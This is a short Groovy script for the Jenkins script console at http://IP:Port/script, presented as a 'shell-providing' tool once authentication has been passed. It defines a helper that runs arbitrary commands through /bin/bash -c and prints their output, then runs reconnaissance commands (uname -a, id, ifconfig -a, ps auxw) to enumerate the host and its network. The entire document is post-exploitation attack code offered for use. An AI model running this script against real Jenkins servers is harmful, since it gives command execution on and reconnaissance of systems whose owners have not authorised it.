Jenkins Groovy Shell-providing script. To be used after passing authentication on http://IP:Port/script

jenkins-groovy-script-shell.txt

def shell(String command) {
 println command
 def process = new ProcessBuilder(addShellPrefix(command))
 .directory(new File(System.properties.'user.dir'))
 .redirectErrorStream(true)
 .start()
 process.inputStream.eachLine {println it}
 process.waitFor();
 return process.exitValue()
}
private def addShellPrefix(String command) {
 commandArray = new String[3]
 commandArray[0] = "/bin/bash"
 commandArray[1] = "-c"
 commandArray[2] = command
 return commandArray
}

shell('uname -a')
shell('id')
shell('ifconfig -a')
shell('ps auxw')